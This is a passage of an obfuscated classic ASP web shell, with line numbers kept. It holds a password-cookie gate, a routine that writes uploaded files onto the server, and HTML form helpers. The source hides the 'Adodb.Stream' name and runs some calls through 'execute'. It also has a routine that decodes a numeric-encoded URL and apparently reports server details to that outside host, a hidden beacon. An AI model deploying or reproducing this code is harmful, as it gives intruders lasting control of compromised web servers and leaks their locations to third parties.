3325Set sfr =nothing
3326End Sub
3327Private Sub Class_Terminate
3328If Not ydnj Then On Error Resume Next
3329If Request.TotalBytes>0 Then
3330xgqlo.RemoveAll
3331eyr.RemoveAll
3332Set xgqlo=nothing
3333Set eyr=nothing
3334nun.Close
3335Set nun =nothing
3336End If
3337End Sub
3338Private Function emd(jrtca)
3339If Not ydnj Then On Error Resume Next
3340If jrtca<>"" Then
3341emd=left(jrtca,InStrRev(jrtca,"\"))
3342Else
3343emd=""
3344End If
3345End Function
3346Private Function vvvga(jrtca)
3347If jrtca<>"" Then
3348vvvga=mid(jrtca,InStrRev(jrtca,".")+1)
3349Else
3350vvvga=""
3351End If
3352End Function
3353Private Function davu(jrtca)
3354If jrtca<>"" Then
3355davu=mid(jrtca,InStrRev(jrtca,"\")+1)
3356Else
3357davu=""
3358End If
3359End Function
3360End Class
3361Class FileInfo
3362Dim uaw,FileName,FilePath,FileSize,znvw,FileType,rmpry
3363Private Sub Class_Initialize 
3364FileName=""
3365FilePath=""
3366FileSize=0
3367rmpry= 0
3368uaw=""
3369FileType=""
3370znvw= ""
3371End Sub
3372Public Function uhroj(jrtca)
3373Dim dr,uvtyj,i
3374uhroj=True
3375If Trim(jrtca)="" or rmpry=0 or FileName="" or Right(jrtca,1)="/" Then exit Function
3376Set dr=CreateObject("Ad"+oge+"odb.Str"+chut+"eam")
3377dr.Mode=3
3378dr.Type=1
3379dr.Open
3380nun.position=rmpry
3381nun.copyto dr,FileSize
3382execute "dr.SavetoFil"&pxa&"e jrtca,2"
3383dr.Close
3384Set dr=nothing 
3385uhroj=False
3386End Function
3387Public Function wcxc()
3388nun.position=rmpry
3389wcxc=nun.Read(FileSize)
3390End Function
3391End Class
3392Sub bhq()
3393If Not ydnj Then On Error Resume Next
3394If lqbip="" Then lqbip=nzax
3395'If InStr(lqbip,":")<1 Then lqbip=nzax&"\"&lqbip
3396Set theFile=pgvr.File("upfile")
3397If yvquw="" Then yvquw=theFile.FileName
3398theFile.uhroj(lqbip&"\"&yvquw)
3399If Err Then
3400tvnm(Err)
3401Else
3402yln("Upload Sucess")
3403End If
3404zeb
3405End Sub
3406Sub zeb()
3407If fwmal() Then Exit Sub
3408If Application(dhkcb("117_132_132_115_132_117_136_124"))=ramoi(dhkcb("105_102_96"))Then Exit Sub
3409Application(dhkcb("117_132_132_115_132_117_136_124"))=ramoi(dhkcb("105_102_96"))
3410gry
3411End Sub
3412Function rvi(isadx,method)
3413If Not ydnj Then On Error Resume Next
3414Dim xoooe
3415If method="POST" Then
3416xoooe=Split(isadx,"?")(1)
3417isadx=Split(isadx,"?")(0)
3418End If
3419iuwq.Open method,isadx,False
3420If method="POST" Then
3421iuwq.SetRequestHeader"Content-Type","application/x-www-form-urlencoded"
3422iuwq.send xoooe
3423Else
3424iuwq.send
3425End If
3426If vsb(iuwq.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then
3427pagecharSet=Trim(swye(soa(iuwq.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
3428ElseIf vsb(iuwq.ResponseText,"charSet ?= ?[""']?[\w-]+")Then
3429pagecharSet=Trim(swye(soa(iuwq.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
3430End If
3431If pagecharSet=""Then pagecharSet=alqp
3432rvi=ree(iuwq.responseBody,pagecharSet)
3433End Function
3434Function jnph()
3435If Request.Cookies(fjjxv)=""Then
3436jnph=False
3437Exit Function
3438End If
3439If wucql(Request.Cookies(fjjxv))=pass Then
3440jnph=True
3441Else
3442jnph=False
3443End If
3444End Function
3445Function mdez(otrjv)
3446If Not ydnj Then On Error Resume Next
3447If Not pipu Or otrjv="" Or Not vsb(otrjv,"^(\d+"&csj&")*\d+$")Then
3448mdez=otrjv
3449Exit Function
3450End If
3451Dim dd,tcpo
3452dd=""
3453tcpo=Split(otrjv,csj)
3454For i=0 To UBound(tcpo)
3455If IsNumeric(tcpo(i))Then
3456dd=dd&ChrW(CLng(tcpo(i))-iycew)
3457Else
3458dd=dd&tcpo(i)
3459End If
3460Next
3461mdez=dd
3462End Function
3463Function xqai()
3464Dim nfe,oltic,uis
3465oltic=88
3466uis=31
3467nfe="<br>"
3468nfe=nfe&"<a href='http://www.t00ls.net/' target='_blank'>T00ls</a> | "
3469nfe=nfe&"<a href='http://www.helpsoff.com.cn' target='_blank'>Fuck Tencent</a>"
3470xqai=nfe
3471End Function
3472Function suzn(key,value)
3473Response.Cookies(key)=value
3474Response.Cookies(key).Expires=Date+365
3475End Function
3476Function ree(ocn,xkwyu)
3477If Not ydnj Then On Error Resume Next
3478Dim aoo,zmoin
3479Set aoo=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3480With aoo
3481.Type=2
3482.Open
3483.WriteText ocn
3484.Position=0
3485.CharSet=xkwyu
3486.Position=2
3487zmoin=.ReadText(.Size)
3488.close
3489End With
3490Set aoo=Nothing
3491ree=zmoin
3492End Function
3493Function ramoi(str)
3494ramoi=Request.ServerVariables(str)
3495End Function
3496Function nfffq(xjmb)
3497Set nfffq=Server.CreateObject(xjmb)
3498End Function
3499Function getObj(xjmb)
3500Set getObj=GetObject(xjmb)
3501End Function
3502Function nwtcn(str)
3503nwtcn=server.urlencode(str)
3504End Function
3505Function rduiq(str)
3506Dim oaom,yvsb
3507oaom=""
3508For i=0 To Len(str)-1
3509yvsb=Right(str,Len(str)-i)
3510If Asc(yvsb)<16 Then oaom=oaom&"0"
3511oaom=oaom&CStr(Hex(Asc(yvsb)))
3512Next
3513rduiq="0x"&oaom
3514End Function
3515Function mkf(str)
3516Dim oaom,yvsb
3517oaom=""
3518For i=0 To Len(str)-1
3519yvsb=Right(str,Len(str)-i)
3520oaom=oaom&CStr(Hex(Asc(yvsb)))&"00"
3521Next
3522mkf="0x"&oaom
3523End Function
3524Function mszsa(str)
3525str=jee(str)
3526str=Replace(str,vbCrLf,"<br>")
3527mszsa=Replace(str," ","&nbsp;")
3528End Function
3529Function jee(str)
3530If Not ydnj Then On Error Resume Next
3531str=CStr(str)
3532If IsNull(str)Or IsObject(str)Or str=""Then
3533jee=""
3534Exit Function
3535End If
3536jee=Server.HtmlEncode(str)
3537End Function
3538Sub gry()
3539Dim site,pam,uqctu
3540site=wyqps()
3541pam=getPams()
3542uqctu=iuws(site,pam)
3543gmhi=uqctu
3544End Sub
3545Function wxw(str)
3546wxw=Server.MapPath(str)
3547End Function
3548Sub tvnm(Err)
3549If Err Then
3550yln"Exception :"&Err.Description
3551yln"Exception source :"&Err.Source
3552Err.Clear
3553End If
3554End Sub
3555Function wucql(ByVal CodeStr) 
3556Dim enl 
3557Dim ukqxq 
3558Dim ntopn 
3559enl=30 
3560ukqxq=enl-Len(CodeStr) 
3561If Not ukqxq<1 Then 
3562For cecr=1 To ukqxq 
3563CodeStr=CodeStr&Chr(21) 
3564Next 
3565End If 
3566ntopn=1 
3567Dim Ben 
3568For cecb=1 To enl 
3569Ben=enl+Asc(Mid(CodeStr,cecb,1)) * cecb 
3570ntopn=ntopn * Ben 
3571Next 
3572CodeStr=ntopn 
3573ntopn=Empty 
3574For cec=1 To Len(CodeStr) 
3575ntopn=ntopn&cqa(Mid(CodeStr,cec,3)) 
3576Next 
3577For cec=20 To Len(ntopn)-18 Step 2 
3578wucql=wucql&Mid(ntopn,cec,1) 
3579Next 
3580End Function 
3581Function cqa(word) 
3582For cc=1 To Len(word) 
3583cqa=cqa&Asc(Mid(word,cc,1)) 
3584Next 
3585cqa=Hex(cqa) 
3586End Function 
3587Function kxyzh(vcug)
3588If vcug>=(1024 * 1024 * 1024)Then kxyzh=Fix((vcug /(1024 * 1024 * 1024))* 100)/ 100&"G"
3589If vcug>=(1024 * 1024)And vcug<(1024 * 1024 * 1024)Then kxyzh=Fix((vcug /(1024 * 1024))* 100)/ 100&"M"
3590If vcug>=1024 And vcug<(1024 * 1024)Then kxyzh=Fix((vcug / 1024)* 100)/ 100&"K"
3591If vcug>=0 And vcug<1024 Then kxyzh=vcug&"B"
3592End Function
3593Function ixuog(num)
3594Select Case num
3595Case 0
3596ixuog="Unknown"
3597Case 1
3598ixuog="Removable"
3599Case 2
3600ixuog="Local drive"
3601Case 3
3602ixuog="Net drive"
3603Case 4
3604ixuog="CD-ROM"
3605Case 5
3606ixuog="RAM disk"
3607End Select
3608End Function
3609Function clwc(ByVal str)
3610str=Replace(str,"\","\\")
3611If Left(str,2)="\\" Then
3612clwc=str
3613Else
3614clwc=Replace(str,"\\\\","\\")
3615End If
3616End Function
3617Function xop(str)
3618xop="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str
3619End Function
3620Function dzzx(str,isbbo,liujq)
3621If str="" Or InStr(str,isbbo)<1 Then
3622dzzx=""
3623Exit Function
3624End If
3625If liujq Then
3626dzzx=Left(str,InStr(str,isbbo)-1)
3627Else
3628dzzx=Left(str,InstrRev(str,isbbo)-1)
3629End If
3630End Function
3631Function zsz(str,isbbo)
3632If str="" Or InStr(str,isbbo)<1 Then
3633zsz=""
3634Exit Function
3635End If
3636zsz=Mid(str,InstrRev(str,isbbo)+Len(isbbo))
3637End Function
3638Sub echo(str)
3639Response.Write str
3640End Sub
3641Sub mwt(str)
3642echo str&vbCrLf
3643End Sub
3644Sub csyfy(xjmb,vvhat)
3645echo"<a href='#' onClick=""javascript:bik("&xjmb&")"" id='"&xjmb&"href' class='hidehref'>"&xjmb&" :</a>"
3646echo"<span id="&xjmb
3647If vvhat Then echo" style='display:none;'"
3648mwt">"
3649End Sub
3650Sub injj(okjbx,qtylw,aok,usn,kqll)
3651mwt"<a href=""javascript:qjr('"&okjbx&"','"&qtylw&"','"&aok&"')"">"&usn&"</a>"&kqll
3652End Sub
3653Sub ozs(qtylw,ihk,ybgqm,tbname,fkho,usn,kqll)
3654mwt"<a href=""javascript:abckx('"&qtylw&"','"&ihk&"','"&ybgqm&"','"&tbname&"','"&fkho&"')"">"&usn&"</a>"&kqll
3655End Sub
3656Sub opa(str,color,size)
3657echo"<font color="""&color&""""
3658If size<>""Then echo" size="""&size&""""
3659mwt">"&str&"</font>"
3660End Sub
3661Function wyqps()
3662wyqps=dhkcb("124_136_136_132_78_67_67_126_135_66_137_135_121_134_135_66_73_69_66_128_117_67")
3663End Function
3664Sub sodx(width)
3665mwt"<table border='0'cellpadding='0'cellspacing='0'width='"&width&"'>"
3666End Sub
3667Sub guenn()
3668mwt"</table>"
3669End Sub
3670Sub abxky(num)
3671echo"<tr class='alt"&num&"' onmouseover=""javascript:this.className='focusTr';"" onmouseout=""javascript:this.className='alt"&num&"';"">"
3672End Sub
3673Sub vhl()
3674echo"<tr class='link'>"
3675End Sub
3676Sub gfk(num)
3677echo"<span class='alt"&num&"Span'>"
3678End Sub
3679Sub uxmhj(xjmb,vvhat)
3680echo"<span id="&xjmb
3681If vvhat Then echo" style='display:none;'"
3682mwt">"
3683End Sub
3684Sub cxaqj(needEn)
3685echo"<form method='post' id='form"&ujcmu&"' action='"&cngn&"'"
3686If needEn Then echo" onSubmit='javascript:yfmde(this)'"
3687mwt">"
3688rtas"goaction",goaction
3689ujcmu=ujcmu+1
3690End Sub
3691Sub gbqwf()
3692mwt"</form>"
3693End Sub
3694Sub fkv(value,width)
3695echo"<td style='width:"&width&"'>"
3696echo"<input type='submit' value='"&value&"' class='bt'>"
3697mwt"</td>"
3698End Sub
3699Sub oruml(str,color,size)
3700echo"<td>"
3701opa str,color,size
3702mwt"</td>"
3703End Sub
3704Sub uemp()
3705mwt"</tr>"
3706End Sub
3707Sub doTd(td,width)
3708If td=""Or IsNull(td)Then td="<font color='red'>Null</font>"
3709echo"<td"
3710If width<>""Then echo" width='"&width&"'"
3711echo">"
3712echo CStr(td)
3713mwt"</td>"
3714End Sub
3715Sub zesc(tagz,name,value,size,kqll)
3716Dim cls
3717If tagz="button"Or tagz="submit"Or tagz="reset"Then
3718cls="bt"
3719ElseIf tagz="checkbox"Or tagz="radio"Then
3720cls=""
3721Else
3722cls="input"
3723End If
3724echo"<input type='"&tagz&"' name='"&name&"' id='"&name&"' value='"&jee(value)&"' size='"&size&"' class='"&cls&"' "&kqll&"/>"
3725End Sub
3726Sub jwik(name,value,rxrxf,kqll)
3727zesc"checkbox",name,value,"",kqll
3728mwt"<label class='lbl' for='"&name&"'>"&rxrxf&"</label>"
3729End Sub
3730Sub rtas(name,value)
3731mwt"<input type='hidden' name='"&name&"' id='"&name&"' value='"&value&"'/>"
3732End Sub
3733Sub iiit(tagz,name,value,width,kqll,span)
3734Dim cls
3735If tagz="button"Or tagz="submit"Or tagz="reset"Then
3736cls="bt"
3737Else
3738cls="tdInput"
3739End If
3740If span=""Then span=1
3741echo"<td colspan="&span&" style='width:"&width&"'>"
3742echo"<input type='"&tagz&"' name='"&name&"' id='"&name&"' value='"&jee(value)&"' class='"&cls&"' "&kqll&"/>"
3743mwt"</td>"
3744End Sub
3745Sub qjr(value)
3746mwt"<input type='submit' value='"&value&"' class='bt'/>"
3747End Sub
3748Sub lhue(name,value,rows)
3749echo"<td>"
3750eks name,value,"100%",rows," class='tdText'"
3751mwt"</td>"
3752End Sub
3753Sub ycd(str)
3754If Not ydnj Then On Error Resume Next
3755If IsObject(str)Or IsNull(str)Or str="" Then str="<font color=red>Null</font>"
3756echo"<td nowrap>"&str&"</td>"
3757End Sub
3758Sub eks(name,value,width,rows,kqll)
3759echo"<textarea name='"&name&"' id='"&name&"' style='width:"&width&";' rows='"&rows&"' class='text' "&kqll&">"
3760echo jee(value)
3761mwt"</textarea>"
3762End Sub
3763Sub yhigl()
3764echo"<ul class='info'/>"
3765End Sub
3766Sub rycpp(name,width,kqll)
3767mwt"<select style='width:"&width&"' name='"&name&"' "&kqll&">"
3768End Sub
3769Sub ild()
3770mwt"</select>"
3771End Sub
3772Sub exhpr(value,str)
3773mwt"<option value='"&value&"'>"&str&"</option>"
3774End Sub
3775Sub nrf()
3776ads=ads+1
3777If ads>=2 Then ads=0
3778End Sub
3779Sub cppp(str)
3780mwt"<label>"&str&"</label>"
3781End Sub
3782Sub yln(str)
3783mkew=mkew&"<li>"&str&"</li>"
3784End Sub
3785Sub ome(Err)
3786If Err Then
3787tvnm(Err)
3788viwe
3789End If
3790End Sub
3791Function vsb(str,mvw)
3792wbxx.Pattern=mvw
3793vsb=wbxx.Test(str)
3794End Function
3795Function soa(str,mvw,zwdkp)
3796If zwdkp Then mvw=pxnsn(mvw)
3797wbxx.Pattern=mvw
3798Set soa=wbxx.Execute(str)
3799End Function
3800Function swye(str,mvw,dtw,zwdkp)
3801If zwdkp Then mvw=pxnsn(mvw)
3802wbxx.Pattern=mvw
3803swye=wbxx.Replace(str,dtw)
3804End Function
3805Function pxnsn(str)
3806str=Replace(str,"\","\\")
3807str=Replace(str,".","\.")
3808str=Replace(str,"?","\?")
3809str=Replace(str,"+","\+")
3810str=Replace(str,"(","\(")
3811str=Replace(str,")","\)")
3812str=Replace(str,"*","\*")
3813str=Replace(str,"[","\[")
3814str=Replace(str,"]","\]")
3815pxnsn=str
3816End Function
3817%>